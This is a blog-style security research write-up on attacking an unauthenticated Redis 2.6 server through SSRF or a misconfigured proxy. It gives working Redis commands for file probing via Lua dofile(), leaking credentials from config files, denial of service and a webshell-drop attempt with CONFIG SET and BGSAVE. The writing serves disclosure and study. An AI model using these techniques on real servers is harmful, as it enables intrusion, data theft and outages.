Trying to hack Redis via HTTP requests
Trying to hack Redis via HTTP requests
- Context
Imagine than you can access a Redis server via HTTP requests. It could be because of a SSRF vulnerability or a misconfigured proxy. In both situations, all you need is to fully control at least one line of the request. Which is pretty common in these scenarios ;-) Of course, the CLI client 'redis-cli' does not support HTTP proxying and we will need to forge our commands ourself, encapsulated in valid HTTP requests and sent via the proxy. Everything was tested under version 2.6.0. It's old, but that's what the target was using...
- Redis 101
Redis is NoSQL database, which stores everything in RAM as key/value pairs. By default, a text-oriented interface is reachable on port TCP/6379 without authentication. All you need to know right now is that the interface is very forgiving and will try to parse every provided input (until a timeout or the 'QUIT' command). It may only quietly complain via messages like "-ERR unknown command".
- Target identification
When exploiting a SSRF vulnerability or a misconfigured proxy, the first task is usually to scan for known services. As an attacker, I look for services bound to loopback only, using source-based authentication or just plain insecure "because they are not reachable from the outside". And I was quite happy to see these strings in my logs:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
As you can see, the HTTP verb 'GET' is also a valid Redis command, but the number of arguments do not match. And given no HTTP headers match a existing Redis command, there's a lot of "unknown command" error messages.
- Basic interaction
In my context, the requests were nearly fully controlled by myself and then emitted via a Squid proxy. That means that 1) the HTTP requests must be valid, in order to be processed by the proxy 2) the final requests reaching the Redis database may be somewhat normalized by the proxy. The easy way was to use the POST body, but injecting into HTTP headers was also a valid option. Now, just send a few basic commands (in blue):
ECHO HELLO
$
HELLO TIME
*
$ $ CONFIG GET pidfile
*
$
pidfile
$
/var/run/redis.pid SET my_key my_value
+OK GET my_key
$
my_value QUIT
+OK
- We need spaces!
As you may have already noted, the server responds with the expected data, plus some strings like "*2" and "$7". This the binary-safe version of the Redis protocol, and it is needed if you want to use a parameter including spaces. For example, the command 'SET my key "foo bar"' will never work, with or without single/double quotes. Luckily, the binary-safe version is quite straightforward:
- everything is separated with new lines (here CRLF)
- a command starts with '*' and the number of arguments ("*1" + CRLF)
- then we have the arguments, one by one:
- string: the '$' character + the string size ("$4" + CRLF) + the string value ("TIME" + CRLF)
- integer: the ':' character + the integer in ASCII (":42" + CRLF)
- and that's all!
Let's see an example, comparing the CLI client and the venerable 'netcat':
$ redis-cli -h 127.0.0.1 -p set with_space 'I am boring'
+OK
$ echo '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 127.0.0.1
+OK
- Reconnaissance
Now that we can easily discuss with the server, a recon phase is needed. A few Redis commands are helpful, like "INFO" and "CONFIG GET (dir|dbfilename|logfile|pidfile)". Here's the ouput of "INFO" on my test machine:
# Server
redis_version:2.6.
redis_git_sha1:
redis_git_dirty:
redis_mode:standalone
os:Linux 3.2.--generic-pae i686
arch_bits:
multiplexing_api:epoll
gcc_version:4.6.
process_id:
run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25
tcp_port:
uptime_in_seconds:
uptime_in_days:
lru_clock: # Clients
connected_clients:
client_longest_output_list:
client_biggest_input_buf:
blocked_clients: # Memory
used_memory:
[...]
The next step is, of course, the file-system. Redis can execute Lua scripts (in a sandbox, more on that later) via the "EVAL" command. The sandbox allows the dofile() command (WHY???). It can be used to enumerate files and directories. No specific privilege is needed by Redis, so requesting /etc/shadow should give a "permission denied" error message:
EVAL dofile('/etc/passwd')
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:: function arguments expected near ':' EVAL dofile('/etc/shadow')
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied EVAL dofile('/var/www/')
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory EVAL dofile('/var/www/tmp_upload/')
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory EVAL dofile('/home/ubuntu/.bashrc')
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:: unexpected symbol near '#'
If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file:
EVAL dofile('/etc/issue')
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:: malformed number near '12.04.4' EVAL dofile('/etc/lsb-release')
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:: Script attempted to access unexisting global variable 'Ubuntu' EVAL dofile('/etc/hosts')
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:: malformed number near '127.0.0.1'
Another scenario, probably not very common, is calling dofile() on valid Lua files and returning the variables defined there. Here's a hypothetic file /var/data/app/db.conf:
db = {
login = 'john.doe',
passwd = 'Uber31337',
}
And a small Lua script dumping the password:
EVAL dofile('/var/data/app/db.conf');return(db.passwd);
+OK Uber31337
It works on some standard Unix files too:
EVAL dofile('/etc/environment');return(PATH);
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games EVAL dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);
+OK /usr/bin/nano
- CPU theft
Redis provides redis.sha1hex(), which can be called from Lua scripts. So you can offload your SHA-1 cracking to open Redis servers. The code by @adam_baldwin is on GitHub and the slides on Slideshare.
- DoS
There's a lot of ways to DoS an open Redis instance, from deleting the data to calling the SHUTDOWN command. However, here's two funny ones:
- calling dofile() without any parameter will read a Lua script from STDIN, which is the Redis console. So the server is still running but will not process new connections until "^D" is hit in the console (or a restart)
- sha1hex() can be overwritten (not only for you, but for every client). Using a static value is one of the options
The Lua script:
print(redis.sha1hex('secret'))
function redis.sha1hex (x)
print('')
end
print(redis.sha1hex('secret'))
On the Redis console:
# First run
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 # Next runs
- Data theft
If the Redis server happens to store interesting data (like session cookies or business data), you can enumerate stored pairs using KEYS and then read their values with GET.
- Crypto
Lua scripts use fully predictable "random" numbers! Loot at evalGenericCommand() in scripting.c for details:
/* We want the same PRNG sequence at every call so that our PRNG is
* not affected by external state. */
redisSrand48();
Every Lua script calling math.random() will get the same stream of numbers:
0.17082803611217
0.74990198051087
0.09637165539729
0.87046522734243
0.57730350670279
[...]
- RCE
In order to get remote code execution on an open Redis server, three scenarios were considered. The first one (proven but highly complex) is related to byte-code modification and abuse of the internal VM machine. Not my cup of tea, I'm not a binary guy. The second one is escaping the globals protection and trying to access interesting functions (like during a CTF-like Python escape). Escaping the globals protection is trivial (and documented on StackOverflow!). However, no interesting module is loaded at all, or my Lua skills suck (which is probable). By the way, there's plenty of interesting stuff here.
Let's consider the third scenario, easy and realistic: dumping a semi-controlled file to disk, for example under the Web root and gain RCE through a webshell. Or overwriting a shell script. The only difference is the target filename and the payload, but the methodology is identical. It should be noted that the location of the log file can not be modified after startup. So the only solution is the database file itself. If you are paying attention enough, you should find suprising that a RAM-only database writes to disk. In fact, the database is copied to disk from times to times, for recovery purposes. The backup occurs depending on the configured thresholds, or when the BGSAVE command is called.
The actions to take in order to drop a semi-controlled file are the followings:
- modify the location of the dump file
CONFIG SET dir /var/www/uploads/
CONFIG SET dbfilename sh.php
- insert your payload in the database
SET payload "could be php or shell or whatever"
- dump the database to disk
BGSAVE
- restore everything
DEL payload
CONFIG SET dir /var/redis/
CONFIG SET dbfilename dump.rdb
And then, it's a big FAIL. Redis sets the mode of the dump file to "0600" (aka "-rw-------"). So Apache will not able to read it :-(
- Outro
Even if I wasn't able to execute my own code on this server, researching Redis was fun. And I learned a few tricks, which may be useful next week or later, you never know. Finally, thanks to people who published on Redis security: Francis Alexander, Peter Cawley and Adam Baldwin. And to the Facebook security team, which awarded 20K$ for a misconfigured proxy (the Redis instance was running on "noc.parse.com").
Trying to hack Redis via HTTP requests的更多相关文章
- python mysql redis mongodb selneium requests二次封装为什么大都是使用类的原因,一点见解
1.python mysql redis mongodb selneium requests举得这5个库里面的主要被用户使用的东西全都是面向对象的,包括requests.get函数是里面每次都是实例 ...
- 利用redis写webshell
redis和mongodb我之所见 最近自己在做一些个人的小创作.小项目,其中用到了mongodb和redis,最初可能对这二者没有深入的认识.都是所谓的“非关系型数据库”,有什么区别么? 实际上,在 ...
- 反序列化之PHP原生类的利用
目录 基础知识 __call SoapClient __toString Error Exception 实例化任意类 正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到 ...
- docker+redis安装与配置,主从+哨兵模式
docker+redis安装与配置 docker安装redis并且使用redis挂载的配置启动 1.拉取镜像 docker pull redis:3.2 2.准备准备挂载的目录和配置文件 首先在/do ...
- 009-docker-安装-redis:5.0.3
1.搜索镜像 docker search redis 2.拉取合适镜像 docker pull redis:5.0.3 docker images 3.使用镜像 docker run -p 6379: ...
- 16、Redis手动创建集群
写在前面的话:读书破万卷,编码如有神 --------------------------------------------------------------------------------- ...
- 14、Redis的复制
写在前面的话:读书破万卷,编码如有神 --------------------------------------------------------------------------------- ...
- redis sentinels哨兵集群环境配置
# Redis configuration file example. # # Note that in order to read the configuration file, Redis mus ...
- Redis之配置文件redis.conf
解读下 redis.conf 配置文件中常用的配置项,为不显得过于臃长,已选择性删除原配置文件中部分注释. # Redis must be started with the file path as ...
随机推荐
- The Earth Mover's Distance
The EMD is based on the minimal cost that must be paid to transform one distribution into the other. ...
- GDC2016【For Honor-荣耀战魂】的次世代动画技术
生成自然丰富,反应灵敏的动作的“Motion Matching”是什么? Ubisoft在2016年内预定发售的[荣誉战魂],是基于MOBA类集团战斗,并加入了高度紧张的剑斗动作的多人 ...
- c语言中的指针问题
“*”符号的作用在C语言中有两种: 1.声明该变量是指针,例如:int * p;//表示声明一个int类型的指针,变量名为p 2.在指针运算时,表示取这个地址上的内容,例如 temp = *p;// ...
- 序列化(Serialization)据为JSONP远端请求
Insus.NET前些日子,有分享了一段代码,<使用JSONP跨域请求数据>http://www.cnblogs.com/insus/p/3512271.html 是使用jQuery的Da ...
- 在Win7系统中搭建Web服务器
局 域网Web服务器的主要功能是实现资源共享,同时借助于局域网服务器访问页面可有效的实现信息的同步.利用Web服务器,我们随时随地都可以将自己的信息 上传到服务器端,让其它关注你的用户能在第一时间内了 ...
- openfire3.9.1 开发配置
1.在官网上下载最新的openfire源码 eg:openfire_src_3.9.1.zip 大概是一百多M 2.解压源码文件 一下步骤参考此同学的博客:http://redhacker.ite ...
- 微信公众平台开发(26) ACCESS TOKEN
本文介绍微信公众平台下Access Token的概念及获取方法. 一.Access Token access_token是公众号的全局唯一票据,公众号调用各接口时都需使用access_token.正常 ...
- MySQL字符编码
数据表tb的col列编码为latin1.而实际存储的字符是gbk编码时,用下面的语句可以查看到非乱码的原始字符串. select convert( binary(col) using gbk) fro ...
- JQuery data API实现代码分析
JQuery data 接口是什么? .data() Store arbitrary data associated with the matched elements or return the v ...
- FTP上传
package cn.zto.util; import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileIn ...